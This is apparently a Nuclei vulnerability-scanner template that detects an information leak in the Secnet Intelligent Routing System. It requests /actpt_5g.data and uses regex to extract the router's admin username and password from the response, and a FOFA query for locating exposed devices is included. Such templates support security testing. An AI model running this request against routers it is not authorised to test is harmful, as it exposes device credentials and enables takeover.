id: secnet-info-leak

info:
  name: Secnet Intelligent Routing System actpt_5g.data - Information Leak
  author: DhiyaneshDk
  severity: high
  description: Secnet Intelligent Routing System is exposed.
  reference:
    - https://mp.weixin.qq.com/s/lNlI5ZtUJG50ipS0WfytUw
    - https://github.com/gobysec/GobyVuls/blob/master/secnet_Intelligent_Router_actpt_5g.data_Infoleakage.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="安网-智能路由系统" || header="HTTPD_ac 1.0"
  tags: info-leak,secnet,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/actpt_5g.data"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"http_username":'
          - '"http_passwd":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"http_username":"([a-z]+)"'
          - '"http_passwd":"([a-z]+)"'
# digest: 4b0a00483046022100cce32801a6d12c5a4d6f9730c07357d754b73bfb582456394e022ab392da844a022100bace5dab247471d51f5a1564b44842e32a91518018857e4f04de04e3815d3ecd:922c64590222798bb761d5b6d8e72950